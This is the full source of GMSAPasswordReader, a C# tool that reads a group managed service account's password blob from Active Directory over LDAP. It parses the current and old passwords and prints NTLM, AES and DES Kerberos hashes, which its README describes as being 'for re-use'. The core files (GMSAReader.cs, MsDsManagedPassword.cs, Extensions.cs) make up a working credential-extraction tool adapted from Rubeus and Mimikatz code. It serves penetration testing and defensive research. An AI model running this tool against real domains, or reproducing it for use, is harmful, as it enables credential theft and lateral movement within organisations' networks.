Full Code of rvazarkar/GMSAPasswordReader for AI

Repository: rvazarkar/GMSAPasswordReader
Branch: master
Commit: f8406f8f1294
Files: 16
Total size: 51.9 KB

Directory structure:
gitextract_ibsj4e_f/

├── .gitignore
├── Extensions.cs
├── FodyWeavers.xml
├── FodyWeavers.xsd
├── GMSA.cs
├── GMSAPasswordReader.csproj
├── GMSAPasswordReader.sln
├── GMSAReader.cs
├── Interop.cs
├── LICENSE
├── MsDsManagedPassword.cs
├── Options.cs
├── Properties/
│   └── AssemblyInfo.cs
├── README.md
├── app.config
└── packages.config

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitignore
================================================
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================================================
FILE: Extensions.cs
================================================
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.DirectoryServices.Protocols;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading.Tasks;
using System.Runtime.InteropServices;

namespace GMSAPasswordReader
{
    internal static class Extensions
    {
        public static byte[] GetPropertyAsBytes(this SearchResultEntry searchResultEntry, string property)
        {
            if (!searchResultEntry.Attributes.Contains(property))
                return null;

            var collection = searchResultEntry.Attributes[property];
            var lookups = collection.GetValues(typeof(byte[]));
            if (lookups.Length == 0)
                return null;

            if (!(lookups[0] is byte[] bytes) || bytes.Length == 0)
                return null;

            return bytes;
        }

        public static string GetProperty(this SearchResultEntry searchResultEntry, string property)
        {
            if (!searchResultEntry.Attributes.Contains(property))
                return null;

            var collection = searchResultEntry.Attributes[property];
            var lookups = collection.GetValues(typeof(string));
            if (lookups.Length == 0)
                return null;

            if (!(lookups[0] is string prop) || prop.Length == 0)
                return null;

            return prop;
        }

        /// <summary>
        /// Taken from https://github.com/GhostPack/Rubeus/blob/master/Rubeus/lib/Crypto.cs#L50
        /// </summary>
        /// <param name="password"></param>
        /// <param name="userName"></param>
        /// <param name="domainName"></param>
        public static void ComputeAllKerberosPasswordHashes(string password, string userName = "", string domainName = "")
        {
            // use KerberosPasswordHash() to calculate rc4_hmac, aes128_cts_hmac_sha1, aes256_cts_hmac_sha1, and des_cbc_md5 hashes for a given password

            if (string.IsNullOrEmpty(password))
            {
                return;
            }
            
            var salt = $"{domainName.ToUpper()}{userName}";

            if (!string.IsNullOrEmpty(userName) && !string.IsNullOrEmpty(domainName))
            {
                Console.WriteLine("[*] Input username             : {0}", userName);
                Console.WriteLine("[*] Input domain               : {0}", domainName);
                Console.WriteLine("[*] Salt                       : {0}", salt);
            }

            var rc4Hash = KerberosPasswordHash(Interop.KERB_ETYPE.rc4_hmac, password);
            Console.WriteLine("[*]       rc4_hmac             : {0}", rc4Hash);

            if (string.IsNullOrEmpty(userName) || string.IsNullOrEmpty(domainName))
            {
                Console.WriteLine("\r\n[!] /user:X and /domain:Y need to be supplied to calculate AES and DES hash types!");
            }
            else
            {
                var aes128Hash = KerberosPasswordHash(Interop.KERB_ETYPE.aes128_cts_hmac_sha1, password, salt);
                Console.WriteLine("[*]       aes128_cts_hmac_sha1 : {0}", aes128Hash);

                var aes256Hash = KerberosPasswordHash(Interop.KERB_ETYPE.aes256_cts_hmac_sha1, password, salt);
                Console.WriteLine("[*]       aes256_cts_hmac_sha1 : {0}", aes256Hash);

                var desHash = KerberosPasswordHash(Interop.KERB_ETYPE.des_cbc_md5, $"{password}{salt}", salt);
                Console.WriteLine("[*]       des_cbc_md5          : {0}", desHash);
            }

            Console.WriteLine();
        }

        /// <summary>
        /// Taken from https://github.com/GhostPack/Rubeus/blob/master/Rubeus/lib/Crypto.cs#L50
        /// </summary>
        /// <param name="etype"></param>
        /// <param name="password"></param>
        /// <param name="salt"></param>
        /// <param name="count"></param>
        /// <returns></returns>
        public static string KerberosPasswordHash(Interop.KERB_ETYPE etype, string password, string salt = "", int count = 4096)
        {
            // use the internal KERB_ECRYPT HashPassword() function to calculate a password hash of a given etype
            // adapted from @gentilkiwi's Mimikatz "kerberos::hash" implementation

            Interop.KERB_ECRYPT pCSystem;
            IntPtr pCSystemPtr;

            // locate the crypto system for the hash type we want
            int status = Interop.CDLocateCSystem(etype, out pCSystemPtr);

            pCSystem = (Interop.KERB_ECRYPT)System.Runtime.InteropServices.Marshal.PtrToStructure(pCSystemPtr, typeof(Interop.KERB_ECRYPT));
            if (status != 0)
                throw new System.ComponentModel.Win32Exception(status, "Error on CDLocateCSystem");

            // get the delegate for the password hash function
            Interop.KERB_ECRYPT_HashPassword pCSystemHashPassword = (Interop.KERB_ECRYPT_HashPassword)System.Runtime.InteropServices.Marshal.GetDelegateForFunctionPointer(pCSystem.HashPassword, typeof(Interop.KERB_ECRYPT_HashPassword));
            Interop.UNICODE_STRING passwordUnicode = new Interop.UNICODE_STRING(password);
            Interop.UNICODE_STRING saltUnicode = new Interop.UNICODE_STRING(salt);

            byte[] output = new byte[pCSystem.KeySize];

            int success = pCSystemHashPassword(passwordUnicode, saltUnicode, count, output);

            if (status != 0)
                throw new Win32Exception(status);

            return System.BitConverter.ToString(output).Replace("-", "");
        }
    }

}


================================================
FILE: FodyWeavers.xml
================================================
<Weavers xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="FodyWeavers.xsd">
  <Costura />
</Weavers>

================================================
FILE: FodyWeavers.xsd
================================================
<?xml version="1.0" encoding="utf-8"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
  <!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->
  <xs:element name="Weavers">
    <xs:complexType>
      <xs:all>
        <xs:element name="Costura" minOccurs="0" maxOccurs="1">
          <xs:complexType>
            <xs:all>
              <xs:element minOccurs="0" maxOccurs="1" name="ExcludeAssemblies" type="xs:string">
                <xs:annotation>
                  <xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
                </xs:annotation>
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            </xs:all>
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              <xs:annotation>
                <xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>
              </xs:annotation>
            </xs:attribute>
            <xs:attribute name="IncludeDebugSymbols" type="xs:boolean">
              <xs:annotation>
                <xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>
              </xs:annotation>
            </xs:attribute>
            <xs:attribute name="DisableCompression" type="xs:boolean">
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                <xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>
              </xs:annotation>
            </xs:attribute>
            <xs:attribute name="DisableCleanup" type="xs:boolean">
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                <xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>
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                <xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>
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              </xs:annotation>
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            <xs:attribute name="IncludeAssemblies" type="xs:string">
              <xs:annotation>
                <xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
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            <xs:attribute name="Unmanaged32Assemblies" type="xs:string">
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            </xs:attribute>
            <xs:attribute name="Unmanaged64Assemblies" type="xs:string">
              <xs:annotation>
                <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>
              </xs:annotation>
            </xs:attribute>
            <xs:attribute name="PreloadOrder" type="xs:string">
              <xs:annotation>
                <xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>
              </xs:annotation>
            </xs:attribute>
          </xs:complexType>
        </xs:element>
      </xs:all>
      <xs:attribute name="VerifyAssembly" type="xs:boolean">
        <xs:annotation>
          <xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>
        </xs:annotation>
      </xs:attribute>
      <xs:attribute name="VerifyIgnoreCodes" type="xs:string">
        <xs:annotation>
          <xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>
        </xs:annotation>
      </xs:attribute>
      <xs:attribute name="GenerateXsd" type="xs:boolean">
        <xs:annotation>
          <xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>
        </xs:annotation>
      </xs:attribute>
    </xs:complexType>
  </xs:element>
</xs:schema>

================================================
FILE: GMSA.cs
================================================
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace GMSAPasswordReader
{
    internal class GMSA
    {
        public string AccountName { get; set; }
        public string DomainName { get; set; }
        public byte[] PasswordBlob { get; set; }

    }
}


================================================
FILE: GMSAPasswordReader.csproj
================================================
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Import Project="packages\Costura.Fody.4.1.0\build\Costura.Fody.props" Condition="Exists('packages\Costura.Fody.4.1.0\build\Costura.Fody.props')" />
  <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
  <PropertyGroup>
    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
    <ProjectGuid>{C8112750-972D-4EFA-A75B-DA9B8A4533C7}</ProjectGuid>
    <OutputType>Exe</OutputType>
    <RootNamespace>GMSAPasswordReader</RootNamespace>
    <AssemblyName>GMSAPasswordReader</AssemblyName>
    <TargetFrameworkVersion>v4.5.2</TargetFrameworkVersion>
    <FileAlignment>512</FileAlignment>
    <Deterministic>true</Deterministic>
    <TargetFrameworkProfile />
    <NuGetPackageImportStamp>
    </NuGetPackageImportStamp>
  </PropertyGroup>
  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
    <PlatformTarget>AnyCPU</PlatformTarget>
    <DebugSymbols>true</DebugSymbols>
    <DebugType>full</DebugType>
    <Optimize>false</Optimize>
    <OutputPath>bin\Debug\</OutputPath>
    <DefineConstants>DEBUG;TRACE</DefineConstants>
    <ErrorReport>prompt</ErrorReport>
    <WarningLevel>4</WarningLevel>
    <Prefer32Bit>false</Prefer32Bit>
  </PropertyGroup>
  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
    <PlatformTarget>AnyCPU</PlatformTarget>
    <DebugType>pdbonly</DebugType>
    <Optimize>true</Optimize>
    <OutputPath>bin\Release\</OutputPath>
    <DefineConstants>TRACE</DefineConstants>
    <ErrorReport>prompt</ErrorReport>
    <WarningLevel>4</WarningLevel>
    <Prefer32Bit>false</Prefer32Bit>
  </PropertyGroup>
  <ItemGroup>
    <Reference Include="CommandLine, Version=2.7.82.0, Culture=neutral, PublicKeyToken=5a870481e358d379, processorArchitecture=MSIL">
      <HintPath>packages\CommandLineParser.2.7.82\lib\net45\CommandLine.dll</HintPath>
    </Reference>
    <Reference Include="Costura, Version=4.1.0.0, Culture=neutral, PublicKeyToken=9919ef960d84173d, processorArchitecture=MSIL">
      <HintPath>packages\Costura.Fody.4.1.0\lib\net40\Costura.dll</HintPath>
    </Reference>
    <Reference Include="System" />
    <Reference Include="System.Core" />
    <Reference Include="System.DirectoryServices.Protocols" />
    <Reference Include="System.Xml.Linq" />
    <Reference Include="System.Data.DataSetExtensions" />
    <Reference Include="System.Data" />
    <Reference Include="System.Xml" />
  </ItemGroup>
  <ItemGroup>
    <Compile Include="GMSA.cs" />
    <Compile Include="GMSAReader.cs" />
    <Compile Include="Interop.cs" />
    <Compile Include="MsDsManagedPassword.cs" />
    <Compile Include="Options.cs" />
    <Compile Include="Properties\AssemblyInfo.cs" />
    <Compile Include="Extensions.cs" />
  </ItemGroup>
  <ItemGroup>
    <None Include="app.config" />
    <None Include="packages.config" />
  </ItemGroup>
  <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
  <Import Project="packages\Fody.6.0.0\build\Fody.targets" Condition="Exists('packages\Fody.6.0.0\build\Fody.targets')" />
  <Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
    <PropertyGroup>
      <ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them.  For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
    </PropertyGroup>
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  </Target>
</Project>

================================================
FILE: GMSAPasswordReader.sln
================================================

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.29503.13
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "GMSAPasswordReader", "GMSAPasswordReader.csproj", "{C8112750-972D-4EFA-A75B-DA9B8A4533C7}"
EndProject
Global
	GlobalSection(SolutionConfigurationPlatforms) = preSolution
		Debug|Any CPU = Debug|Any CPU
		Release|Any CPU = Release|Any CPU
	EndGlobalSection
	GlobalSection(ProjectConfigurationPlatforms) = postSolution
		{C8112750-972D-4EFA-A75B-DA9B8A4533C7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
		{C8112750-972D-4EFA-A75B-DA9B8A4533C7}.Debug|Any CPU.Build.0 = Debug|Any CPU
		{C8112750-972D-4EFA-A75B-DA9B8A4533C7}.Release|Any CPU.ActiveCfg = Release|Any CPU
		{C8112750-972D-4EFA-A75B-DA9B8A4533C7}.Release|Any CPU.Build.0 = Release|Any CPU
	EndGlobalSection
	GlobalSection(SolutionProperties) = preSolution
		HideSolutionNode = FALSE
	EndGlobalSection
	GlobalSection(ExtensibilityGlobals) = postSolution
		SolutionGuid = {07D1ED5C-C5DB-433F-BFBE-28D0C12AC4DD}
	EndGlobalSection
EndGlobal


================================================
FILE: GMSAReader.cs
================================================
using System;
using System.Collections.Generic;
using System.DirectoryServices.Protocols;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Runtime.Remoting.Messaging;
using System.Security.Cryptography;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using CommandLine;

namespace GMSAPasswordReader
{
    internal class GMSAReader
    {
        private static readonly Regex DCReplaceRegex = new Regex("DC=", RegexOptions.IgnoreCase | RegexOptions.Compiled);

        static void Main(string[] args)
        {
            Options options = null;

            var parser = new Parser(with =>
            {
                with.CaseSensitive = false;
                with.HelpWriter = Console.Error;
            });

            parser.ParseArguments<Options>(args)
                .WithParsed<Options>(o => { options = o; });

            parser.Dispose();

            if (options == null)
                return;

            string domainName = null, target = null;

            if (options.DomainName == null)
            {
                domainName = GetDomainName(options.DomainName);
            }
	    else 
	    {
                domainName = options.DomainName;
	    }

            target = options.DomainController ?? domainName;

            domainName = $"DC={domainName.Replace(".", ",DC=")}";

            

            var gmsa = SearchLdap(options.AccountName, domainName, target, options.LdapPort);
            if (gmsa == null)
            {
                Console.WriteLine("Unable to retrieve password blob. Check permissions/account name");
                return;
            }

            var managedPassword = new MsDsManagedPassword(gmsa.PasswordBlob);

            if (managedPassword.OldPassword != null)
            {
                Console.WriteLine("Calculating hashes for Old Value");
                Extensions.ComputeAllKerberosPasswordHashes(managedPassword.OldPassword, gmsa.AccountName, gmsa.DomainName);
            }
            
            Console.WriteLine("Calculating hashes for Current Value");
            Extensions.ComputeAllKerberosPasswordHashes(managedPassword.CurrentPassword, gmsa.AccountName, gmsa.DomainName);

        }

        private static string CreateNTLMHash(string password)
        {
            if (password == null)
                return null;

            var hash = Extensions.KerberosPasswordHash(Interop.KERB_ETYPE.rc4_hmac, password);
            return hash;
        }

        private static string GetDomainName(string domain)
        {
            var result = DsGetDcName(null, domain, null, null, DSGETDCNAME_FLAGS.DS_DIRECTORY_SERVICE_REQUIRED | DSGETDCNAME_FLAGS.DS_RETURN_DNS_NAME,
                out var pDCI);

            try
            {
                if (result == 0)
                {
                    var dci = Marshal.PtrToStructure<DOMAIN_CONTROLLER_INFO>(pDCI);
                    var domainName = dci.DomainName;
                    return domainName;
                }
                else
                {
                    return Environment.UserDomainName;
                }
            }
            finally
            {
                if (pDCI != IntPtr.Zero)
                    NetApiBufferFree(pDCI);
            }
            
        }

        private static string ConvertDNToDomain(string distinguishedName)
        {
            var temp = distinguishedName.Substring(distinguishedName.IndexOf("DC=",
                StringComparison.CurrentCultureIgnoreCase));
            temp = DCReplaceRegex.Replace(temp, "").Replace(",", ".").ToUpper();
            return temp;
        }

        private static GMSA SearchLdap(string accountName, string domainName, string target, int port)
        {
            var identifier = new LdapDirectoryIdentifier(target, port, false, false);
            var connection = new LdapConnection(identifier) {AuthType = AuthType.Negotiate};

            var cso = connection.SessionOptions;

            //Necessary to get password blobs back
            cso.Signing = true;
            cso.Sealing = true;
            cso.RootDseCache = true;

            var filter = $"(&(|(sAMAccountName={accountName}$)(sAMAccountName={accountName}))(msds-groupmsamembership=*))";
            var searchRequest = new SearchRequest(domainName, filter, SearchScope.Subtree, "sAMAccountName", "msDS-ManagedPassword");
            try
            {
                var searchResponse = (SearchResponse)connection.SendRequest(searchRequest);

                var entries = searchResponse?.Entries;
                if (entries == null || entries.Count == 0)
                {
                    Console.WriteLine("GMSA Account Not Found!");
                    return null;
                }

                foreach (SearchResultEntry entry in searchResponse.Entries)
                {
                    var passwordBlob = entry.GetPropertyAsBytes("msDS-ManagedPassword");
                    if (passwordBlob != null)
                    {
                        var newDomainName = ConvertDNToDomain(entry.DistinguishedName);
                        var newAccountName = entry.GetProperty("samaccountname");
                        return new GMSA
                        {
                            AccountName = newAccountName,
                            DomainName = newDomainName,
                            PasswordBlob = passwordBlob
                        };
                    }
                }

                //We didn't get a password blob
                Console.WriteLine("Unable to get a password blob, maybe not enough permissions?");
                return null;
            }
            finally
            {
                connection.Dispose();
            }
        }


        [DllImport("Netapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        static extern int DsGetDcName
        (
            [MarshalAs(UnmanagedType.LPTStr)]
            string ComputerName,
            [MarshalAs(UnmanagedType.LPTStr)]
            string DomainName,
            [In] GuidClass DomainGuid,
            [MarshalAs(UnmanagedType.LPTStr)]
            string SiteName,
            DSGETDCNAME_FLAGS Flags,
            out IntPtr pDOMAIN_CONTROLLER_INFO
        );

        [StructLayout(LayoutKind.Sequential)]
        public class GuidClass
        {
            public Guid TheGuid;
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        struct DOMAIN_CONTROLLER_INFO
        {
            [MarshalAs(UnmanagedType.LPTStr)]
            public string DomainControllerName;
            [MarshalAs(UnmanagedType.LPTStr)]
            public string DomainControllerAddress;
            public uint DomainControllerAddressType;
            public Guid DomainGuid;
            [MarshalAs(UnmanagedType.LPTStr)]
            public string DomainName;
            [MarshalAs(UnmanagedType.LPTStr)]
            public string DnsForestName;
            public uint Flags;
            [MarshalAs(UnmanagedType.LPTStr)]
            public string DcSiteName;
            [MarshalAs(UnmanagedType.LPTStr)]
            public string ClientSiteName;
        }


        [Flags]
        public enum DSGETDCNAME_FLAGS : uint
        {
            DS_FORCE_REDISCOVERY = 0x00000001,
            DS_DIRECTORY_SERVICE_REQUIRED = 0x00000010,
            DS_DIRECTORY_SERVICE_PREFERRED = 0x00000020,
            DS_GC_SERVER_REQUIRED = 0x00000040,
            DS_PDC_REQUIRED = 0x00000080,
            DS_BACKGROUND_ONLY = 0x00000100,
            DS_IP_REQUIRED = 0x00000200,
            DS_KDC_REQUIRED = 0x00000400,
            DS_TIMESERV_REQUIRED = 0x00000800,
            DS_WRITABLE_REQUIRED = 0x00001000,
            DS_GOOD_TIMESERV_PREFERRED = 0x00002000,
            DS_AVOID_SELF = 0x00004000,
            DS_ONLY_LDAP_NEEDED = 0x00008000,
            DS_IS_FLAT_NAME = 0x00010000,
            DS_IS_DNS_NAME = 0x00020000,
            DS_RETURN_DNS_NAME = 0x40000000,
            DS_RETURN_FLAT_NAME = 0x80000000
        }

        [DllImport("Netapi32.dll", SetLastError = true)]
        static extern int NetApiBufferFree(IntPtr Buffer);
    }
}


================================================
FILE: Interop.cs
================================================
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;

namespace GMSAPasswordReader
{
    /// <summary>
    /// Taken and stripped from https://github.com/GhostPack/Rubeus/blob/master/Rubeus/lib/Interop.cs
    /// </summary>
    public class Interop
    {
        // constants

        
        // Enums
        // from https://tools.ietf.org/html/rfc3961
        public enum KERB_ETYPE : UInt32
        {
            des_cbc_crc = 1,
            des_cbc_md4 = 2,
            des_cbc_md5 = 3,
            des3_cbc_md5 = 5,
            des3_cbc_sha1 = 7,
            dsaWithSHA1_CmsOID = 9,
            md5WithRSAEncryption_CmsOID = 10,
            sha1WithRSAEncryption_CmsOID = 11,
            rc2CBC_EnvOID = 12,
            rsaEncryption_EnvOID = 13,
            rsaES_OAEP_ENV_OID = 14,
            des_ede3_cbc_Env_OID = 15,
            des3_cbc_sha1_kd = 16,
            aes128_cts_hmac_sha1 = 17,
            aes256_cts_hmac_sha1 = 18,
            rc4_hmac = 23,
            rc4_hmac_exp = 24,
            subkey_keymaterial = 65
        }
        
        // structs
        // From Vincent LE TOUX' "MakeMeEnterpriseAdmin"
        //  https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L1773-L1794
        [StructLayout(LayoutKind.Sequential)]
        public struct KERB_ECRYPT
        {
            int Type0;
            public int BlockSize;
            int Type1;
            public int KeySize;
            public int Size;
            int unk2;
            int unk3;
            public IntPtr AlgName;
            public IntPtr Initialize;
            public IntPtr Encrypt;
            public IntPtr Decrypt;
            public IntPtr Finish;
            public IntPtr HashPassword;
            IntPtr RandomKey;
            IntPtr Control;
            IntPtr unk0_null;
            IntPtr unk1_null;
            IntPtr unk2_null;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct UNICODE_STRING : IDisposable
        {
            public ushort Length;
            public ushort MaximumLength;
            public IntPtr buffer;

            public UNICODE_STRING(string s)
            {
                Length = (ushort)(s.Length * 2);
                MaximumLength = (ushort)(Length + 2);
                buffer = Marshal.StringToHGlobalUni(s);
            }

            public void Dispose()
            {
                Marshal.FreeHGlobal(buffer);
                buffer = IntPtr.Zero;
            }

            public override string ToString()
            {
                return Marshal.PtrToStringUni(buffer);
            }
        }
        

        // functions
        // Adapted from Vincent LE TOUX' "MakeMeEnterpriseAdmin"
        [DllImport("cryptdll.Dll", CharSet = CharSet.Auto, SetLastError = false)]
        public static extern int CDLocateCSystem(KERB_ETYPE type, out IntPtr pCheckSum);

        public delegate int KERB_ECRYPT_HashPassword(UNICODE_STRING Password, UNICODE_STRING Salt, int count, byte[] output);

    }
}


================================================
FILE: LICENSE
================================================
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================================================
FILE: MsDsManagedPassword.cs
================================================
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace GMSAPasswordReader
{
    /// <summary>
    /// Adapted entirely from Mark Gamache's script found here: https://github.com/markgamache/gMSA/blob/master/PSgMSAPwd
    /// All the hard work and credit goes to him
    /// </summary>

    internal class MsDsManagedPassword
    {
        internal short Version { get; set; }
        internal string CurrentPassword { get; set; }
        internal string OldPassword { get; set; }
        internal DateTime NextQueryTime { get; set; }
        internal DateTime PasswordGoodUntil { get; set; }

        internal MsDsManagedPassword(byte[] blob)
        {
            using (var stream = new MemoryStream(blob))
            {
                using (var reader = new BinaryReader(stream))
                {
                    Version = reader.ReadInt16();
                    reader.ReadInt16();

                    var length = reader.ReadInt32();

                    if (length != blob.Length)
                    {
                        throw new Exception("Missized blob");
                    }

                    var curPwdOffset = reader.ReadInt16();
                    CurrentPassword = GetUnicodeString(blob, curPwdOffset);

                    var oldPwdOffset = reader.ReadInt16();
                    if (oldPwdOffset > 0)
                    {
                        OldPassword = GetUnicodeString(blob, oldPwdOffset);
                    }

                    var queryPasswordIntervalOffset = reader.ReadInt16();
                    var queryPasswordIntervalTicks = BitConverter.ToInt64(blob, queryPasswordIntervalOffset);
                    NextQueryTime = DateTime.Now + TimeSpan.FromTicks(queryPasswordIntervalTicks);

                    var unchangedPasswordIntervalOffset = reader.ReadInt16();
                    var unchangedPasswordIntervalTicks = BitConverter.ToInt64(blob, unchangedPasswordIntervalOffset);
                    PasswordGoodUntil = DateTime.Now + TimeSpan.FromTicks(unchangedPasswordIntervalTicks);
                }
            }
        }

        private string GetUnicodeString(byte[] blob, int index)
        {
            var stOut = "";

            for (var i = index; i < blob.Length; i += 2)
            {
                var ch = BitConverter.ToChar(blob, i);
                if (ch == char.MinValue)
                {
                    //found the end  .    A null-terminated WCHAR string
                    return stOut;
                }
                stOut += ch;
            }

            return null;
        }
    }
}


================================================
FILE: Options.cs
================================================
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using CommandLine;
using CommandLine.Text;

namespace GMSAPasswordReader
{
    internal class Options
    {
        [Option(Default = null, HelpText = "Domain name the account belongs too.")]
        public string DomainName { get; set; }

        [Option(Default = null, HelpText = "Hostname of a domain controller to query from")]
        public string DomainController { get; set; }

        [Option(Default = 389, HelpText = "Override port used to connect to LDAP")]
        public int LdapPort { get; set; }

        [Option(Required = true, HelpText = "Account Name of the GMSA")]
        public string AccountName { get; set; }

        [Usage(ApplicationAlias = "GMSAPasswordReader")]
        public static IEnumerable<Example> Examples =>
            new List<Example>
            {
                new Example("Retrieve password for the account jkohler in your current domain", new Options{ AccountName = "jkohler"}),
                new Example("Retrieve password for the account arobbins in the domain testlab", new Options
                {
                    AccountName = "arobbins",
                    DomainName = "testlab.local"
                })
            };
    }
}


================================================
FILE: Properties/AssemblyInfo.cs
================================================
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;

// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("GMSAPasswordReader")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("GMSAPasswordReader")]
[assembly: AssemblyCopyright("Copyright ©  2020")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]

// Setting ComVisible to false makes the types in this assembly not visible
// to COM components.  If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]

// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("c8112750-972d-4efa-a75b-da9b8a4533c7")]

// Version information for an assembly consists of the following four values:
//
//      Major Version
//      Minor Version
//      Build Number
//      Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]


================================================
FILE: README.md
================================================
# GMSAPasswordReader

## Description

Reads the password blob from a GMSA account using LDAP, and parses the values into hashes for re-use.

## Compiling
Clone this project and build using Visual Studio.

## Usage
./GMSAPasswordReader --AccountName jkohler

## Previous Work and Acknowledgements
Huge thanks to [Mark Gamache](https://github.com/markgamache) for the basis of this program and doing all the hard work of figuring out the structures.

Big thanks to [Will Schroeder](https://twitter.com/harmj0y?lang=en) and [Benjamin Delpy](https://twitter.com/gentilkiwi) for the code used to generate hashes.

================================================
FILE: app.config
================================================
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup><supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2"/></startup></configuration>


================================================
FILE: packages.config
================================================
<?xml version="1.0" encoding="utf-8"?>
<packages>
  <package id="CommandLineParser" version="2.7.82" targetFramework="net452" />
  <package id="Costura.Fody" version="4.1.0" targetFramework="net452" />
  <package id="Fody" version="6.0.0" targetFramework="net452" developmentDependency="true" />
</packages>